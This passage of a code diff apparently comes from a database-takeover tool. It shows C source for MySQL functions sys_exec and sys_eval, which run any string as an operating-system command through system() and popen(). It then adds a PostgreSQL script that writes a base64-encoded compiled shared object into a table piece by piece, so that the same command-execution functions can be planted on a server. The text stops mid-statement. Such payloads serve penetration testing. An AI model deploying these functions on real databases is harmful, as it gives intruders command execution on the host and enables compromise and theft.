UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} +void sys_get_deinit( + UDF_INIT *initid +){ +} +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} +void sys_exec_deinit( + UDF_INIT *initid +){ +} +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} +void sys_eval_deinit( + UDF_INIT *initid +){ +} +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char line[1024]; + unsigned long outlen, linelen; + + result = malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + + +#endif /* HAVE_DLOPEN */ diff --git a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz index f4af75392..01ca73867 100644 Binary files a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz and b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz differ diff --git a/extra/postgresqludfsys/command_execution/linux.sql b/extra/postgresqludfsys/command_execution/linux.sql new file mode 100644 index 000000000..36a3711e4 --- /dev/null +++ b/extra/postgresqludfsys/command_execution/linux.sql @@ -0,0 +1,97 @@ +-- Notes: +-- +-- The SO compiled using PostgreSQL 8.3 C libraries differs from the one +-- compiled using PostgreSQL 8.2 C libraries +-- +-- SO compiled using PostgreSQL 8.3 C libraries +-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) +-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) +-- +-- SO compiled using PostgreSQL 8.2 C libraries +-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) +-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) +-- +-- Little hack to compress the shared object: +-- * Compile with -O1 the shared object +-- * Use strip to remove all symbols (-s) and non-global symbols (-x) + + +-- Create a table with one field data-type text +DROP TABLE IF EXISTS udftest; +CREATE TABLE udftest(data text); + + +-- Insert the base64 encoded UDF in the table + +-- SO compiled using PostgreSQL 8.3 C libraries +INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA'); +UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ'; +UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ'; +UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA'; +UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg'; +UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA=='; + +-- SO compiled using PostgreSQL 8.2 C libraries +-- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA'); +-- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw'; +-- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+'; +-- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA'; +-- UPDATE udftest SET 